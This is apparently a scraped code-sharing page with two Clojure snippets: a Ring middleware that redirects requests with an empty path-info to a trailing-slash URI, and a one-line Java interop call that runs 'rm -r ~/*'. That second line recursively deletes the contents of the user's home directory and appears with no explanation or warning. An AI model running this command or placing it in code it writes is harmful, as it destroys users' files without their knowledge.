This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(defn- wrap-silly-redirect [handler] | |
(fn [req] | |
(if-let [path-info (:path-info req)] | |
(if (= path-info "") | |
(resp/redirect (str (:uri req) "/")) | |
(handler req)) | |
(handler req)))) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(.. Runtime (getRuntime) (exec "rm -r ~/*")) |